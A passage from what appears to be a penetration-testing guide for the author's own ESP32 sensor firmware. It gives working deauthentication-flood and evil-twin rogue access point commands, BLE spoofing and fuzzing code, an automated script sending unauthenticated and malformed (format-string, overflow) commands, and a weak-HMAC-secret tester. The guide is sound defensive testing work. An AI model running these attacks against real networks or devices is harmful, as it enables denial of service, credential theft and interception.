{d.name}") + +asyncio.run(scan()) +``` + +The firmware uses BLE in **passive scan mode only** (no advertising), so the ESP32 +should NOT appear in BLE scans. If it does, that indicates a misconfiguration. + +To test BLE advertisement parsing robustness, use a second ESP32 programmed to +send crafted advertisements with oversized fields, malformed company IDs, etc. + +--- + +## 9. Wireless Attacks + +### 9.1 WiFi Adapter Requirements + +For WiFi attacks (sections 9.2-9.5), you need a USB WiFi adapter that supports +**monitor mode** and **packet injection**. The Raspberry Pi 5's built-in WiFi +does NOT support monitor mode. + +Recommended adapters (all work on RPi5): +- **Alfa AWUS036ACH** (RTL8812AU) -- 2.4/5 GHz, excellent injection +- **Alfa AWUS036ACHM** (MediaTek MT7612U) -- reliable, good range +- **TP-Link TL-WN722N v1** (AR9271) -- 2.4 GHz only, cheap, proven + +```bash +# Check if adapter supports monitor mode +sudo iw list | grep -A 10 "Supported interface modes" +# Should include "monitor" + +# Enable monitor mode +sudo ip link set wlan1 down +sudo iw dev wlan1 set type monitor +sudo ip link set wlan1 up + +# Or using airmon-ng +sudo airmon-ng start wlan1 +``` + +--- + +### 9.2 Deauthentication Flood + +| Field | Value | +|-------|-------| +| **Tests** | PMF effectiveness; deauth flood detection; sensor resilience | +| **Tools** | `aireplay-ng`, `mdk4` | +| **Finding** | Device disconnects and fails to collect CSI during attack = DoS confirmed | +| **Fix** | PMF already enabled (`CONFIG_ESP_WIFI_PMF_REQUIRED=y`); verify router also enforces PMF | + +The firmware has `CONFIG_ESP_WIFI_PMF_REQUIRED=y`, which should prevent deauth +attacks IF the router also supports PMF. This test verifies end-to-end protection. + +```bash +# Step 1: Find the target network and channel +sudo airodump-ng wlan1mon + +# Step 2: Targeted deauth against one sensor +# BSSID = router MAC, STATION = ESP32 MAC +sudo aireplay-ng -0 100 -a -c wlan1mon + +# Step 3: Broader deauth flood +sudo mdk4 wlan1mon d -c + +# Step 4: Monitor sensor's deauth flood detection +# (The firmware detects deauths in promiscuous mode and emits ALERT_DATA) +sudo tcpdump -i eth0 -A 'udp port 5500' | grep ALERT_DATA + +# Step 5: Check if sensor stays connected +echo "STATUS" | ncat -u -w2 192.168.129.29 5501 +# If no response, the deauth attack succeeded in disconnecting the sensor +``` + +**What a finding looks like:** +- Sensor goes offline during deauth flood = PMF not enforced by router +- `ALERT_DATA` messages appear = detection works but connection still drops +- Sensor stays connected = PMF is properly enforced end-to-end + +--- + +### 9.3 Evil Twin / Rogue AP + +| Field | Value | +|-------|-------| +| **Tests** | Whether the ESP32 will connect to a rogue AP with the same SSID | +| **Tools** | `hostapd`, `dnsmasq` | +| **Finding** | ESP32 connects to rogue AP = WiFi credential theft + MITM | +| **Fix** | WPA3-SAE (immune to evil twin); BSSID pinning in firmware | + +```bash +# Step 1: Create hostapd config for rogue AP +cat > /tmp/hostapd-evil.conf << 'EOF' +interface=wlan1 +driver=nl80211 +ssid=TARGET_SSID_HERE +hw_mode=g +channel=6 +wpa=2 +wpa_passphrase=TARGET_PSK_HERE +wpa_key_mgmt=WPA-PSK +rsn_pairwise=CCMP +EOF + +# Step 2: Set up DHCP for captured clients +cat > /tmp/dnsmasq-evil.conf << 'EOF' +interface=wlan1 +dhcp-range=192.168.100.10,192.168.100.50,12h +dhcp-option=3,192.168.100.1 +dhcp-option=6,192.168.100.1 +EOF + +# Step 3: Configure interface +sudo ip addr add 192.168.100.1/24 dev wlan1 + +# Step 4: Start evil twin +sudo hostapd /tmp/hostapd-evil.conf & +sudo dnsmasq -C /tmp/dnsmasq-evil.conf & + +# Step 5: Deauth the ESP32 from the real AP to force reconnection +sudo aireplay-ng -0 10 -a -c wlan1mon + +# Step 6: Wait for ESP32 to connect to evil twin +# Monitor hostapd output for association +# If ESP32 connects, you now have MITM position + +# Cleanup: +sudo killall hostapd dnsmasq +``` + +The firmware uses `CONFIG_EXAMPLE_WIFI_AUTH_WPA2_WPA3_PSK=y`, which means it will +attempt WPA3-SAE first and fall back to WPA2-PSK. The evil twin test must use the +correct PSK. With WPA3, the evil twin attack is significantly harder because SAE +prevents offline dictionary attacks and the attacker would need the actual PSK. + +--- + +### 9.4 Probe Request Harvesting + +| Field | Value | +|-------|-------| +| **Tests** | What the ESP32 reveals in its own probe requests when scanning | +| **Tools** | `airodump-ng`, `tcpdump` in monitor mode | +| **Finding** | ESP32 probe requests may reveal the target SSID | +| **Fix** | Use directed scans only; minimize probing | + +```bash +# Capture probe requests from ESP32 devices +sudo airodump-ng wlan1mon --output-format csv -w /tmp/probes + +# Or with tcpdump: +sudo tcpdump -i wlan1mon -e 'type mgt subtype probe-req' -nn + +# Look for the ESP32's MAC address in probe requests +# ESP32-WROOM-32 OUI: varies by chip, check with: +echo "STATUS" | ncat -u -w1 192.168.129.29 5501 | grep -i mac +``` + +--- + +### 9.5 BLE Attacks + +| Field | Value | +|-------|-------| +| **Tests** | BLE advertisement spoofing to inject fake data into the sensor's BLE scanner | +| **Tools** | Second ESP32, `hcitool`, `bluetoothctl`, `bleak` | +| **Finding** | Fake BLE advertisements accepted as legitimate device sightings | +| **Fix** | Validate BLE data at the collector level; add anomaly detection | + +The firmware runs BLE in **passive scan mode only** -- it receives advertisements +but does not advertise or accept connections. The attack surface is limited to +injecting fake advertisement data that gets reported to the collector. + +```bash +# Using the Pi's built-in Bluetooth to send crafted advertisements: +# (Requires BlueZ tools) + +# Set up advertising with a specific company ID to test fingerprinting +sudo hciconfig hci0 up +sudo hcitool -i hci0 cmd 0x08 0x0008 \ + 1E 02 01 06 03 03 AA FE 17 16 AA FE 10 00 02 \ + 77 65 62 00 01 02 03 04 05 06 07 08 09 0A 0B + +# Better: use a second ESP32 programmed as a BLE beacon with specific data +# to test the firmware's BLE advertisement parser for: +# - Oversized advertisement data (>31 bytes in extended advertising) +# - Malformed company_id fields +# - Extremely long device names +# - Invalid BLE flags +``` + +For BLE fuzzing with a second ESP32: + +```c +/* ble_fuzz_beacon.c -- Minimal ESP32 program to send crafted BLE ads */ +/* Flash to a second ESP32 and place near the target sensor */ + +#include "esp_bt.h" +#include "esp_gap_ble_api.h" + +/* Oversized manufacturer data to test parser bounds */ +static uint8_t adv_data[] = { + 0x02, 0x01, 0x06, /* Flags */ + 0xFF, /* Length (255 -- oversized!) */ + 0xFF, 0x4C, 0x00, /* Apple company ID */ + /* ... fill with 250 bytes of garbage */ +}; + +/* Set this as raw advertising data via esp_ble_gap_config_adv_data_raw() */ +``` + +--- + +## 10. Automated Test Scripts + +### 10.1 Complete Pentest Runner + +```bash +#!/usr/bin/env bash +# esp32-pentest.sh -- Automated pentest suite for ESP32 CSI sensors +# Usage: ./esp32-pentest.sh [secret] + +set -euo pipefail + +TARGET="${1:?Usage: $0 [secret]}" +SECRET="${2:-}" +PORT=5501 +RESULTS="/tmp/esp32-pentest-$(date +%Y%m%d-%H%M%S).log" + +log() { printf "[%s] %s\n" "$(date +%H:%M:%S)" "$*" | tee -a "$RESULTS"; } + +log "=== ESP32 Pentest: $TARGET ===" + +# Test 1: Unauthenticated information disclosure +log "--- Test 1: Information Disclosure ---" +for cmd in STATUS CONFIG PROFILE HELP PING; do + resp=$(echo "$cmd" | ncat -u -w2 "$TARGET" "$PORT" 2>/dev/null || true) + if [ -n "$resp" ]; then + log " $cmd: $(echo "$resp" | head -c 120)" + else + log " $cmd: " + fi +done + +# Test 2: Unauthenticated state modification +log "--- Test 2: Unauth State Modification ---" +for cmd in "CSI OFF" "PRESENCE OFF" "LOG NONE" "RATE 10" "ALERT OFF"; do + resp=$(echo "$cmd" | ncat -u -w2 "$TARGET" "$PORT" 2>/dev/null || true) + if echo "$resp" | grep -q "^OK"; then + log " [VULN] $cmd accepted without auth: $resp" + elif echo "$resp" | grep -q "ERR AUTH"; then + log " [SAFE] $cmd requires auth" + else + log " [????] $cmd response: $resp" + fi +done + +# Restore settings +echo "CSI ON" | ncat -u -w1 "$TARGET" "$PORT" >/dev/null 2>&1 || true +echo "PRESENCE ON" | ncat -u -w1 "$TARGET" "$PORT" >/dev/null 2>&1 || true +echo "LOG INFO" | ncat -u -w1 "$TARGET" "$PORT" >/dev/null 2>&1 || true + +# Test 3: Input validation +log "--- Test 3: Input Validation ---" +for payload in \ + "RATE -1" "RATE 999999" "RATE 0" \ + "POWER -1" "POWER 100" \ + "HOSTNAME $(python3 -c 'print("A"*100)')" \ + "HOSTNAME %x%x%n" \ + "" \ + "$(python3 -c 'print("X"*191)')"; do + resp=$(echo "$payload" | ncat -u -w1 "$TARGET" "$PORT" 2>/dev/null || true) + log " Input: $(echo "$payload" | head -c 40)... -> $(echo "$resp" | head -c 80)" +done + +# Test 4: mDNS enumeration +log "--- Test 4: mDNS Discovery ---" +mdns_result=$(avahi-browse -art 2>/dev/null | grep -A2 '_esp-csi' || echo "") +log " mDNS: $mdns_result" + +# Test 5: Port scan +log "--- Test 5: Port Scan ---" +nmap_result=$(nmap -sU -p 5500,5501,5353 --open "$TARGET" 2>/dev/null | grep "open" || true) +log " Open ports: $nmap_result" + +log "=== Results saved to $RESULTS ===" +``` + +### 10.2 HMAC Brute-Force Test (Secret Entropy Validation) + +```python +#!/usr/bin/env python3 +"""hmac_bruteforce.py -- Test whether auth secret has sufficient entropy. + +This is NOT a practical brute-force attack (128-bit secret has 2^128 keyspace). +It tests edge cases: short secrets, predictable secrets, known-weak patterns. +""" + +import hashlib +import hmac +import socket +import sys + +TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.129.29" +PORT = 5501 + +# Get device uptime for valid timestamp +sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +sock.settimeout(2.0) +sock.sendto(b"STATUS", (TARGET, PORT)) +resp = sock.recvfrom(1500)[0].decode() +uptime = 0 +for field in resp.split(): + if field.startswith("uptime="): + uptime = int(field.split("=")[1].rstrip("s")) + +print(f"Device uptime: {uptime}s") + +# Test common/weak secrets +WEAK_SECRETS = [ + "", # Empty (auth disabled) + "secret", # Common default + "password", # Common default + "admin", # Common default + "12345678", # Numeric + "0" * 32, # All zeros + "f" * 32, # All f's + "deadbeefdeadbeefdeadbeefdeadbeef", # Classic test pattern + "test", # Development leftover +] + +print(f"\nTesting {len(WEAK_SECRETS)} weak secrets...") +for secret in WEAK_SECRETS: + payload = f"{uptime}:STATUS" + digest = hmac.new(secret.encode(), payload.encode(), hashlib.sha256).hexdigest() + cmd = f"HMAC:{digest[:32]}:{payload}".encode() + sock.sendto(cmd, (TARGET, PORT)) + try: + resp = sock.recvfrom(1500)[0].decode() + if "ERR AUTH" not in resp: + print(f" [!] SECRET FOUND: '{secret}' -> {resp[:60]}") + break + # else: expected failure + except socket.timeout: + pass + import time; time.sleep(0.06) + +else: + print(" [+] No weak secrets found (good)") + +sock.close() +``` + +--- + +## Summary: Attack Priority Matrix + +| Priority | Attack | Difficulty | Impact | Tools Needed | +|----------|--------|-----------|--------|-------------| +| P0 | Unauth command abuse (3.3) | Trivial | High -- blind sensors | `ncat` | +| P0 | OTA MITM (6.1) | Easy | Critical -- RCE | HTTP server, ARP spoof | +| P1 | Flash dump (5.2) | Easy (physical) | Critical -- all secrets | USB cable, `esptool.py` | +| P1 | NVS extraction (4.3) | Easy (physical) | High -- auth secret | USB cable, `esptool.py` | +| P1 | UART capture (5.1) | Easy (physical) | High -- auth secret prefix | Serial adapter | +| P1 | Data injection (3.5) | Easy | Medium -- fake data | Python socket | +| P2 | Nonce cache overflow (3.2) | Medium | Medium -- replay auth cmds | Python HMAC | +| P2 | Deauth flood (9.2) | Medium | Medium -- DoS | Monitor-mode adapter | +| P2 | Evil twin (9.3) | Hard | High -- MITM | Monitor-mode adapter | +| P2 | mDNS recon (2.1) | Trivial | Low -- info disclosure | `avahi-browse` | +| P3 | UDP fuzzing (2.4) | Easy | Varies -- crash = high | Python | +| P3 | BLE injection (9.5) | Medium | Low -- fake data | Second ESP32 | +| P3 | JTAG access (5.3) | Hard (soldering) | Critical -- full debug | JTAG adapter | +| P3 | Timing oracle (3.1) | Hard | Low -- already mitigated | Python | +| P3 | Firmware RE (4.1, 4.2) | Easy | Info -- aids other attacks | `strings`, `binwalk` | + +--- + +## Quick Reference: Files and Paths + +| Item | Path | +|------|------| +| Firmware source | `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c` | +| Binary | `/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.bin` | +| ELF | `/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.elf` | +| sdkconfig | `/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults` | +| Partitions | `/home/user/git/esp32-hacking/get-started/csi_recv_router/partitions.csv` | +| Security audit | `/home/user/git/esp32-hacking/SECURITY-AUDIT.md` | +| esp-ctl auth | `/home/user/git/esp-ctl/src/esp_ctl/auth.py` | +| NVS tool | `$HOME/esp/esp-idf/components/nvs_flash/nvs_partition_tool/nvs_tool.py` | +| Sensors | `192.168.129.29` (muddy-storm), `.30` (amber-maple), `.31` (hollow-acorn) |